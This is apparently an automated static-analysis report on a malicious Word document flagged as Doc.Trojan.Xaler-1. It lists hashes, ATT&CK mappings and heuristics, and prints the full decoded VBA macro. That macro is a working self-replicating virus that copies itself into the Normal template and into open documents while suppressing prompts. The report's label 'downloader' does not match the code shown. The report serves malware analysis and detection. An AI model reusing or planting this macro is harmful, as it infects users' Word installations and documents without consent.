Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 532e92eea6dc8b36…

MALICIOUS

Office (OLE)

74.0 KB Created: 2004-11-09 02:52:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 21b166e8559ea486f0e5dbd26811a6ed SHA-1: bafcaf6911497477cc64532741d945e58895eb09 SHA-256: 532e92eea6dc8b369edeb949cd380a6a89ae3b5da2c3e1445735e08c6772cb86
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is designed to export its own code to a temporary file, read it, and then attempt to re-insert it into the Normal template or the active document. This behavior is indicative of a macro-based downloader attempting to establish persistence or prepare for further execution. The ClamAV detection as 'Doc.Trojan.Xaler-1' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Xaler-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Xaler-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2034 bytes
SHA-256: f73d7d8a1d11f02996403d0b34f7ee2084771b5b0937bd8f2bf0c03a5bcb7c22
Detection
ClamAV: Doc.Trojan.Xaler-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'RELAX
Private Sub RELAX2()
If Day(Date) Mod 10 = 0 And Month(Date) Mod 4 = 0 Then
Close #1
End If
End Sub

Private Sub Document_Close()
Call GOODSub
Call RELAX2
End Sub

Private Sub GOODSub()
On Error Resume Next
Application.ScreenUpdating = False
Application.Options.SaveNormalPrompt = False
x$ = "C:\temp.tmp"
MacroContainer.VBProject.vbcomponents.Item("ThisDocument").Export x$
Open x$ For Input As #1
keimeno = Input(LOF(1), 1)
Close #1
kk& = InStr(1, keimeno, "'RELAX")
keimeno = Right$(keimeno, Len(keimeno) - kk& + 1)
For j = 1 To 2
If j = 1 Then
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").Export x$
Else
ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").Export x$
End If
Open x$ For Input As #1
rlx = Input(LOF(1), 1)
Close #1
d1 = InStr(1, rlx, "'RELAX")
If d1 = 0 Then
If j = 1 Then
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
NormalTemplate.Save
Else
ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
End If
End If
Next j
'====================
Dim PRostasia As Byte
PRostasia = 1
fff = FreeFile
If Dir(ActiveDocument.FullName, 6) <> "" Then
Open ActiveDocument.FullName For Binary As #fff
Put #fff, 862, PRostasia
Close #fff
ActiveDocument.Save
End If
Kill x$
Application.ScreenUpdating = True
End Sub

Private Sub Document_Open()
Call GOODSub
End Sub